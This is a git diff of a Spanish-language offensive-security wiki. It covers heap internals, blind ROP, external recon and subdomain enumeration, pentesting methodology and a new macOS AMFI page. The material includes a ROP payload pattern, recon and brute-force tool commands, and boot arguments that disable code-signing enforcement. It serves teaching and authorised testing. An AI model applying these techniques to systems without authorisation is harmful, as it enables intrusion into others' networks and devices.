Translated ['binary-exploitation/libc-heap/README.md', 'binary-exploitat

SUMMARY.md

@@ -189,6 +189,7 @@
       * [macOS Default Sandbox Debug](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-default-sandbox-debug.md)
       * [macOS Sandbox Debug & Bypass](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/README.md)
         * [macOS Office Sandbox Bypasses](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md)
+    * [macOS Authorizations DB & Authd](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-authorizations-db-and-authd.md)
     * [macOS SIP](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip.md)
     * [macOS TCC](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md)
       * [macOS Apple Events](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-apple-events.md)
@@ -196,7 +197,8 @@
         * [macOS Apple Scripts](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md)
       * [macOS TCC Payloads](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md)
     * [macOS Dangerous Entitlements & TCC perms](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md)
-    * [macOS MACF](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf.md)
+    * [macOS - AMFI - AppleMobileFileIntegrity](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-amfi-applemobilefileintegrity.md)
+    * [macOS MACF - Mandatory Access Control Framework](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf-mandatory-access-control-framework.md)
     * [macOS Code Signing](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-code-signing.md)
     * [macOS FS Tricks](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md)
       * [macOS xattr-acls extra stuff](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/macos-xattr-acls-extra-stuff.md)
@@ -841,7 +843,7 @@
   * [Pentesting BLE - Bluetooth Low Energy](todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md)
 * [Industrial Control Systems Hacking](todo/industrial-control-systems-hacking/README.md)
 * [Test LLMs](todo/test-llms.md)
-* [LLM Training - Data Preparation](todo/llm-training-data-preparation/README.md)
+* [LLM Training](todo/llm-training-data-preparation/README.md)
   * [0. Basic LLM Concepts](todo/llm-training-data-preparation/0.-basic-llm-concepts.md)
   * [1. Tokenizing](todo/llm-training-data-preparation/1.-tokenizing.md)
   * [2. Data Sampling](todo/llm-training-data-preparation/2.-data-sampling.md)

binary-exploitation/libc-heap/README.md

@@ -4,7 +4,7 @@
 
 El heap es básicamente el lugar donde un programa podrá almacenar datos cuando solicita datos llamando a funciones como **`malloc`**, `calloc`... Además, cuando esta memoria ya no es necesaria, se hace disponible llamando a la función **`free`**.
 
-Como se muestra, está justo después de donde se carga el binario en memoria (ver la sección `[heap]`):
+Como se muestra, está justo después de donde el binario se está cargando en memoria (ver la sección `[heap]`):
 
 <figure><img src="../../.gitbook/assets/image (1241).png" alt=""><figcaption></figcaption></figure>
 
@@ -41,7 +41,7 @@ Los subheaps sirven como reservas de memoria para arenas secundarias en aplicaci
 * El heap inicial se encuentra directamente después del binario del programa en memoria, y se expande utilizando la llamada al sistema `sbrk`.
 * Los subheaps, utilizados por arenas secundarias, se crean a través de `mmap`, una llamada al sistema que mapea una región de memoria especificada.
 2. **Reserva de Memoria con `mmap`**:
-* Cuando el administrador del heap crea un subheap, reserva un gran bloque de memoria a través de `mmap`. Esta reserva no asigna memoria de inmediato; simplemente designa una región que otros procesos del sistema o asignaciones no deben usar.
+* Cuando el administrador del heap crea un subheap, reserva un gran bloque de memoria a través de `mmap`. Esta reserva no asigna memoria de inmediato; simplemente designa una región que otros procesos del sistema o asignaciones no deberían usar.
 * Por defecto, el tamaño reservado para un subheap es de 1 MB para procesos de 32 bits y 64 MB para procesos de 64 bits.
 3. **Expansión Gradual con `mprotect`**:
 * La región de memoria reservada se marca inicialmente como `PROT_NONE`, indicando que el kernel no necesita asignar memoria física a este espacio aún.
@@ -90,7 +90,7 @@ Hay algunas cosas interesantes a notar de esta estructura (ver el código C a co
 * Por lo tanto, el **primer chunk** de estos bins tendrá un **puntero hacia atrás a esta estructura** y el **último chunk** de estos bins tendrá un **puntero hacia adelante** a esta estructura. Lo que básicamente significa que si puedes l**eak estas direcciones en la arena principal** tendrás un puntero a la estructura en la **libc**.
 * Las estructuras `struct malloc_state *next;` y `struct malloc_state *next_free;` son listas enlazadas de arenas
 * El chunk `top` es el último "chunk", que es básicamente **todo el espacio restante del heap**. Una vez que el chunk superior está "vacío", el heap está completamente utilizado y necesita solicitar más espacio.
-* El chunk `last reminder` proviene de casos donde un chunk de tamaño exacto no está disponible y, por lo tanto, un chunk más grande se divide, una parte del puntero restante se coloca aquí.
+* El chunk `last reminder` proviene de casos donde un chunk de tamaño exacto no está disponible y, por lo tanto, un chunk más grande se divide, un puntero de la parte restante se coloca aquí.
 ```c
 // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
 
@@ -260,7 +260,7 @@ return request2size (req);
 ```
 Nota que para calcular el espacio total necesario, solo se añade `SIZE_SZ` 1 vez porque el campo `prev_size` puede ser utilizado para almacenar datos, por lo tanto, solo se necesita el encabezado inicial.
 
-### Obtener datos del Chunk y alterar metadatos
+### Obtener datos del chunk y alterar metadatos
 
 Estas funciones funcionan recibiendo un puntero a un chunk y son útiles para verificar/establecer metadatos:
 
@@ -470,11 +470,11 @@ return 0;
 
 Depurando el ejemplo anterior, es posible ver cómo al principio solo hay 1 arena:
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Luego, después de llamar al primer hilo, el que llama a malloc, se crea una nueva arena:
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 y dentro de ella se pueden encontrar algunos chunks:
 

binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md

@@ -41,7 +41,7 @@ Este gadget básicamente permite confirmar que algo interesante fue ejecutado po
 
 Esta técnica utiliza el gadget [**ret2csu**](ret2csu.md). Y esto es porque si accedes a este gadget en medio de algunas instrucciones obtienes gadgets para controlar **`rsi`** y **`rdi`**:
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
 
 Estos serían los gadgets:
 
@@ -56,7 +56,7 @@ Además, nota que el gadget ret2csu tiene una **firma muy única** porque va a e
 
 Si el **STOP es ejecutado**, esto básicamente significa que se utilizó una **dirección que está sacando 6 registros** de la pila. O que la dirección utilizada también fue una dirección STOP.
 
-Para **eliminar esta última opción**, se ejecuta una nueva cadena como la siguiente y no debe ejecutar el gadget STOP para confirmar que el anterior sacó 6 registros:
+Para **eliminar esta última opción**, se ejecuta una nueva cadena como la siguiente y no debe ejecutar el gadget STOP para confirmar que el anterior sí sacó 6 registros:
 
 `'A' * offset + canary + rbp + ADDR`
 

generic-methodologies-and-resources/external-recon-methodology/README.md

@@ -15,7 +15,7 @@ Aprende y practica Hacking en GCP: <img src="../../.gitbook/assets/grte.png" alt
 </details>
 {% endhint %}
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Si estás interesado en una **carrera de hacking** y en hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
 
@@ -38,14 +38,14 @@ Primero que nada, necesitamos saber qué **otras empresas son propiedad de la em
 Una opción es visitar [https://www.crunchbase.com/](https://www.crunchbase.com), **buscar** la **empresa principal**, y **hacer clic** en "**adquisiciones**". Allí verás otras empresas adquiridas por la principal.\
 Otra opción es visitar la página de **Wikipedia** de la empresa principal y buscar **adquisiciones**.
 
-> Bien, en este punto deberías conocer todas las empresas dentro del alcance. Vamos a averiguar cómo encontrar sus activos.
+> Ok, en este punto deberías conocer todas las empresas dentro del alcance. Vamos a averiguar cómo encontrar sus activos.
 
 ### **ASNs**
 
 Un número de sistema autónomo (**ASN**) es un **número único** asignado a un **sistema autónomo** (AS) por la **Autoridad de Números Asignados de Internet (IANA)**.\
 Un **AS** consiste en **bloques** de **direcciones IP** que tienen una política definida para acceder a redes externas y son administrados por una sola organización, pero pueden estar compuestos por varios operadores.
 
-Es interesante encontrar si la **empresa tiene asignado algún ASN** para encontrar sus **rangos de IP.** Será interesante realizar una **prueba de vulnerabilidad** contra todos los **hosts** dentro del **alcance** y **buscar dominios** dentro de estas IPs.\
+Es interesante averiguar si la **empresa ha asignado algún ASN** para encontrar sus **rangos de IP.** Será interesante realizar una **prueba de vulnerabilidad** contra todos los **hosts** dentro del **alcance** y **buscar dominios** dentro de estas IPs.\
 Puedes **buscar** por el **nombre** de la empresa, por **IP** o por **dominio** en [**https://bgp.he.net/**](https://bgp.he.net)**.**\
 **Dependiendo de la región de la empresa, estos enlaces podrían ser útiles para recopilar más datos:** [**AFRINIC**](https://www.afrinic.net) **(África),** [**Arin**](https://www.arin.net/about/welcome/region/)**(América del Norte),** [**APNIC**](https://www.apnic.net) **(Asia),** [**LACNIC**](https://www.lacnic.net) **(América Latina),** [**RIPE NCC**](https://www.ripe.net) **(Europa). De todos modos, probablemente toda la** información útil **(rangos de IP y Whois)** ya aparezca en el primer enlace.
 ```bash
@@ -77,7 +77,7 @@ Puedes encontrar la IP y ASN de un dominio usando [http://ipv4info.com/](http://
 
 En este punto conocemos **todos los activos dentro del alcance**, así que si tienes permiso podrías lanzar algún **escáner de vulnerabilidades** (Nessus, OpenVAS) sobre todos los hosts.\
 Además, podrías lanzar algunos [**escaneos de puertos**](../pentesting-network/#discovering-hosts-from-the-outside) **o usar servicios como** shodan **para encontrar** puertos abiertos **y dependiendo de lo que encuentres deberías** consultar este libro sobre cómo hacer pentesting a varios servicios posibles en ejecución.\
-**También, podría valer la pena mencionar que también puedes preparar algunas** listas de nombres de usuario **y** contraseñas **por defecto e intentar** forzar servicios con [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
+**También, podría valer la pena mencionar que también puedes preparar algunas listas de** nombres de usuario **y** contraseñas **por defecto e intentar** forzar servicios con [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
 
 ## Dominios
 
@@ -107,10 +107,10 @@ Puedes usar herramientas en línea como:
 * [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Gratis**
 * [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Gratis**
 * [https://www.reversewhois.io/](https://www.reversewhois.io) - **Gratis**
-* [https://www.whoxy.com/](https://www.whoxy.com) - **Gratis** web, no gratis API.
+* [https://www.whoxy.com/](https://www.whoxy.com) - **Gratis** web, API no gratuita.
 * [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - No gratis
-* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - No Gratis (solo **100 búsquedas gratis**)
-* [https://www.domainiq.com/](https://www.domainiq.com) - No Gratis
+* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - No gratis (solo **100 búsquedas gratis**)
+* [https://www.domainiq.com/](https://www.domainiq.com) - No gratis
 
 Puedes automatizar esta tarea usando [**DomLink** ](https://github.com/vysecurity/DomLink) (requiere una clave API de whoxy).\
 También puedes realizar un descubrimiento automático de reverse whois con [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
@@ -174,11 +174,11 @@ Consulta este [**artículo para más información**](https://swarm.ptsecurity.co
 
 ### Información de Mail DMARC
 
-Puedes usar un sitio web como [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) o una herramienta como [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) para encontrar **dominios y subdominios que comparten la misma información dmarc**.
+Puedes usar una web como [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) o una herramienta como [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) para encontrar **dominios y subdominios que comparten la misma información dmarc**.
 
 ### **Toma Pasiva**
 
-Aparentemente es común que las personas asignen subdominios a IPs que pertenecen a proveedores de nube y en algún momento **pierdan esa dirección IP pero se olviden de eliminar el registro DNS**. Por lo tanto, simplemente **creando una VM** en una nube (como Digital Ocean) en realidad estarás **tomando el control de algunos subdominios**.
+Aparentemente es común que las personas asignen subdominios a IPs que pertenecen a proveedores de nube y en algún momento **pierdan esa dirección IP pero se olviden de eliminar el registro DNS**. Por lo tanto, simplemente **creando una VM** en una nube (como Digital Ocean) en realidad estarás **tomando algunos subdominios**.
 
 [**Esta publicación**](https://kmsec.uk/blog/passive-takeover/) explica una historia al respecto y propone un script que **crea una VM en DigitalOcean**, **obtiene** la **IPv4** de la nueva máquina y **busca en Virustotal registros de subdominio** que apunten a ella.
 
@@ -312,7 +312,7 @@ crt tesla.com
 # Get subdomains from GAUs found URLs
 gau --subs tesla.com | cut -d "/" -f 3 | sort -u
 ```
-* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **y** [**subscraper**](https://github.com/Cillian-Collins/subscraper): Buscan en la web archivos JS y extraen subdominios de allí.
+* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): Buscan en la web archivos JS y extraen subdominios de allí.
 ```bash
 # Get only subdomains from SubDomainizer
 python3 SubDomainizer.py -u https://tesla.com | grep tesla.com
@@ -400,7 +400,7 @@ goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3
 gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
 ```
 * [**altdns**](https://github.com/infosec-au/altdns): Aparte de generar permutaciones de subdominios, también puede intentar resolverlos (pero es mejor usar las herramientas comentadas anteriormente).
-* Puedes obtener la **wordlist** de permutaciones de altdns **aquí** en [**here**](https://github.com/infosec-au/altdns/blob/master/words.txt).
+* Puedes obtener las permutaciones de altdns **wordlist** en [**aquí**](https://github.com/infosec-au/altdns/blob/master/words.txt).
 ```
 altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
 ```
@@ -481,14 +481,14 @@ Verifica posibles [**tomas de control de subdominios**](../../pentesting-web/dom
 Si el **subdominio** está apuntando a algún **bucket S3**, [**verifica los permisos**](../../network-services-pentesting/pentesting-web/buckets/).
 
 Si encuentras algún **subdominio con una IP diferente** de las que ya encontraste en el descubrimiento de activos, deberías realizar un **escaneo básico de vulnerabilidades** (usando Nessus u OpenVAS) y algún [**escaneo de puertos**](../pentesting-network/#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. Dependiendo de qué servicios estén corriendo, puedes encontrar en **este libro algunos trucos para "atacarlos"**.\
-_Ten en cuenta que a veces el subdominio está alojado dentro de una IP que no es controlada por el cliente, así que no está en el alcance, ten cuidado._
+_Ten en cuenta que a veces el subdominio está alojado dentro de una IP que no está controlada por el cliente, así que no está en el alcance, ten cuidado._
 
 ## IPs
 
 En los pasos iniciales podrías haber **encontrado algunos rangos de IP, dominios y subdominios**.\
-Es hora de **recolectar todas las IPs de esos rangos** y para los **dominios/subdominios (consultas DNS).**
+Es hora de **recolectar todas las IPs de esos rangos** y de los **dominios/subdominios (consultas DNS).**
 
-Usando servicios de las siguientes **apis gratuitas** también puedes encontrar **IPs anteriores utilizadas por dominios y subdominios**. Estas IPs podrían seguir siendo propiedad del cliente (y podrían permitirte encontrar [**bypass de CloudFlare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
+Usando servicios de las siguientes **APIs gratuitas** también puedes encontrar **IPs anteriores utilizadas por dominios y subdominios**. Estas IPs podrían seguir siendo propiedad del cliente (y podrían permitirte encontrar [**bypass de CloudFlare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
 
 * [**https://securitytrails.com/**](https://securitytrails.com/)
 
@@ -504,7 +504,7 @@ También puedes verificar dominios que apuntan a una dirección IP específica u
 
 > Hemos encontrado todas las empresas y sus activos y conocemos rangos de IP, dominios y subdominios dentro del alcance. Es hora de buscar servidores web.
 
-En los pasos anteriores probablemente ya hayas realizado algún **reconocimiento de las IPs y dominios descubiertos**, así que es posible que ya hayas **encontrado todos los posibles servidores web**. Sin embargo, si no lo has hecho, ahora vamos a ver algunos **trucos rápidos para buscar servidores web** dentro del alcance.
+En los pasos anteriores probablemente ya hayas realizado algún **reconocimiento de las IPs y dominios descubiertos**, así que es posible que **ya hayas encontrado todos los posibles servidores web**. Sin embargo, si no lo has hecho, ahora vamos a ver algunos **trucos rápidos para buscar servidores web** dentro del alcance.
 
 Por favor, ten en cuenta que esto estará **orientado a la descubrimiento de aplicaciones web**, así que deberías **realizar el escaneo de vulnerabilidades** y **escaneo de puertos** también (**si está permitido** por el alcance).
 
@@ -592,7 +592,7 @@ Puedes usar la herramienta [**Pastos**](https://github.com/carlospolop/Pastos) p
 
 ### Dorks de Google
 
-Los dorks de Google, aunque viejos, son siempre útiles para encontrar **información expuesta que no debería estar allí**. El único problema es que la [**base de datos de hacking de google**](https://www.exploit-db.com/google-hacking-database) contiene varios **miles** de posibles consultas que no puedes ejecutar manualmente. Así que, puedes obtener tus 10 favoritas o podrías usar una **herramienta como** [**Gorks**](https://github.com/carlospolop/Gorks) **para ejecutarlas todas**.
+Los dorks de google, aunque viejos, son siempre útiles para encontrar **información expuesta que no debería estar allí**. El único problema es que la [**base de datos de hacking de google**](https://www.exploit-db.com/google-hacking-database) contiene varios **miles** de posibles consultas que no puedes ejecutar manualmente. Así que, puedes obtener tus 10 favoritas o podrías usar una **herramienta como** [**Gorks**](https://github.com/carlospolop/Gorks) **para ejecutarlas todas**.
 
 _Ten en cuenta que las herramientas que esperan ejecutar toda la base de datos usando el navegador regular de Google nunca terminarán, ya que Google te bloqueará muy pronto._
 
@@ -649,7 +649,7 @@ Hay varias herramientas que realizarán parte de las acciones propuestas contra
 
 * Todos los cursos gratuitos de [**@Jhaddix**](https://twitter.com/Jhaddix) como [**La Metodología del Cazador de Bugs v4.0 - Edición Recon**](https://www.youtube.com/watch?v=p4JgIu1mceI)
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
 

generic-methodologies-and-resources/pentesting-methodology.md

@@ -15,7 +15,7 @@ Aprende y practica Hacking en GCP: <img src="../.gitbook/assets/grte.png" alt=""
 </details>
 {% endhint %}
 
-<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
 
@@ -33,7 +33,7 @@ _Los logos de Hacktricks fueron diseñados por_ [_@ppiernacho_](https://www.inst
 
 ### 1 - [Descubriendo hosts dentro de la red](pentesting-network/#discovering-hosts)/ [Descubriendo Activos de la empresa](external-recon-methodology/)
 
-**Dependiendo** de si la **prueba** que estás realizando es una **prueba interna o externa**, puede que te interese encontrar **hosts dentro de la red de la empresa** (prueba interna) o **encontrar activos de la empresa en internet** (prueba externa).
+**Dependiendo** si la **prueba** que estás realizando es una **prueba interna o externa**, puede que te interese encontrar **hosts dentro de la red de la empresa** (prueba interna) o **encontrar activos de la empresa en internet** (prueba externa).
 
 {% hint style="info" %}
 Ten en cuenta que si estás realizando una prueba externa, una vez que logres obtener acceso a la red interna de la empresa, deberías reiniciar esta guía.
@@ -42,7 +42,7 @@ Ten en cuenta que si estás realizando una prueba externa, una vez que logres ob
 ### **2-** [**Divirtiéndote con la red**](pentesting-network/) **(Interna)**
 
 **Esta sección solo se aplica si estás realizando una prueba interna.**\
-Antes de atacar un host, tal vez prefieras **robar algunas credenciales** **de la red** o **snifar** algunos **datos** para aprender **pasivamente/activamente (MitM)** qué puedes encontrar dentro de la red. Puedes leer [**Pentesting Network**](pentesting-network/#sniffing).
+Antes de atacar un host, tal vez prefieras **robar algunas credenciales** **de la red** o **esnifar** algunos **datos** para aprender **pasivamente/activamente (MitM)** qué puedes encontrar dentro de la red. Puedes leer [**Pentesting Network**](pentesting-network/#sniffing).
 
 ### 3- [Escaneo de Puertos - Descubrimiento de servicios](pentesting-network/#scanning-hosts)
 
@@ -117,7 +117,7 @@ Aquí puedes encontrar una [**metodología que explica las acciones más comunes
 #### **11**.1 - Saqueo
 
 Verifica si puedes encontrar más **contraseñas** dentro del host o si tienes **acceso a otras máquinas** con los **privilegios** de tu **usuario**.\
-Encuentra aquí diferentes maneras de [**extraer contraseñas en Windows**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md).
+Encuentra aquí diferentes formas de [**extraer contraseñas en Windows**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md).
 
 #### 11.2 - Persistencia
 
@@ -151,7 +151,7 @@ Revisa también la página sobre [**NTLM**](../windows-hardening/ntlm/), podría
 * [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
 * [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md)
 
-<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
 

linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md

@@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
 </details>
 {% endhint %}
 
-<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_se requiere polaco fluido escrito y hablado_).
 
@@ -132,7 +132,7 @@ Sin embargo, en este tipo de contenedores, estas protecciones generalmente exist
 
 Puedes encontrar **ejemplos** sobre cómo **explotar algunas vulnerabilidades RCE** para obtener **reverse shells** de lenguajes de scripting y ejecutar binarios desde la memoria en [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
 
-<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
 
@@ -146,7 +146,7 @@ Aprende y practica Hacking en GCP: <img src="../../../.gitbook/assets/grte.png"
 
 <summary>Apoya a HackTricks</summary>
 
-* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
+* Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
 * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
 * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
 

macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-amfi-applemobilefileintegrity.md

@@ -0,0 +1,155 @@
+# macOS - AMFI - AppleMobileFileIntegrity
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+
+<details>
+
+<summary>Support HackTricks</summary>
+
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+</details>
+{% endhint %}
+
+
+
+## AppleMobileFileIntegrity.kext y amfid
+
+Se centra en hacer cumplir la integridad del código que se ejecuta en el sistema, proporcionando la lógica detrás de la verificación de la firma de código de XNU. También es capaz de verificar derechos y manejar otras tareas sensibles, como permitir la depuración u obtener puertos de tarea.
+
+Además, para algunas operaciones, el kext prefiere contactar al espacio de usuario ejecutando el daemon `/usr/libexec/amfid`. Esta relación de confianza ha sido abusada en varios jailbreaks.
+
+AMFI utiliza políticas **MACF** y registra sus hooks en el momento en que se inicia. Además, prevenir su carga o descarga podría desencadenar un pánico del kernel. Sin embargo, hay algunos argumentos de arranque que permiten debilitar AMFI:
+
+* `amfi_unrestricted_task_for_pid`: Permitir que task\_for\_pid sea permitido sin derechos requeridos
+* `amfi_allow_any_signature`: Permitir cualquier firma de código
+* `cs_enforcement_disable`: Argumento a nivel de sistema utilizado para deshabilitar la aplicación de la firma de código
+* `amfi_prevent_old_entitled_platform_binaries`: Anular binarios de plataforma con derechos
+* `amfi_get_out_of_my_way`: Deshabilita amfi completamente
+
+Estas son algunas de las políticas MACF que registra:
+
+* **`cred_check_label_update_execve:`** Se realizará una actualización de etiqueta y devolverá 1
+* **`cred_label_associate`**: Actualiza el slot de etiqueta mac de AMFI con la etiqueta
+* **`cred_label_destroy`**: Elimina el slot de etiqueta mac de AMFI
+* **`cred_label_init`**: Mueve 0 en el slot de etiqueta mac de AMFI
+* **`cred_label_update_execve`:** Verifica los derechos del proceso para ver si se le debe permitir modificar las etiquetas.
+* **`file_check_mmap`:** Verifica si mmap está adquiriendo memoria y configurándola como ejecutable. En ese caso, verifica si se necesita validación de biblioteca y, si es así, llama a la función de validación de biblioteca.
+* **`file_check_library_validation`**: Llama a la función de validación de biblioteca que verifica, entre otras cosas, si un binario de plataforma está cargando otro binario de plataforma o si el proceso y el nuevo archivo cargado tienen el mismo TeamID. Ciertos derechos también permitirán cargar cualquier biblioteca.
+* **`policy_initbsd`**: Configura claves NVRAM de confianza
+* **`policy_syscall`**: Verifica políticas DYLD como si el binario tiene segmentos sin restricciones, si debe permitir variables de entorno... esto también se llama cuando un proceso se inicia a través de `amfi_check_dyld_policy_self()`.
+* **`proc_check_inherit_ipc_ports`**: Verifica si cuando un proceso ejecuta un nuevo binario, otros procesos con derechos de ENVÍO sobre el puerto de tarea del proceso deben mantenerlos o no. Se permiten binarios de plataforma, el derecho `get-task-allow` lo permite, los derechos `task_for_pid-allow` son permitidos y los binarios con el mismo TeamID.
+* **`proc_check_expose_task`**: hace cumplir los derechos
+* **`amfi_exc_action_check_exception_send`**: Se envía un mensaje de excepción al depurador
+* **`amfi_exc_action_label_associate & amfi_exc_action_label_copy/populate & amfi_exc_action_label_destroy & amfi_exc_action_label_init & amfi_exc_action_label_update`**: Ciclo de vida de la etiqueta durante el manejo de excepciones (depuración)
+* **`proc_check_get_task`**: Verifica derechos como `get-task-allow` que permite a otros procesos obtener el puerto de tareas y `task_for_pid-allow`, que permite al proceso obtener los puertos de tareas de otros procesos. Si ninguno de esos, llama a `amfid permitunrestricteddebugging` para verificar si está permitido.
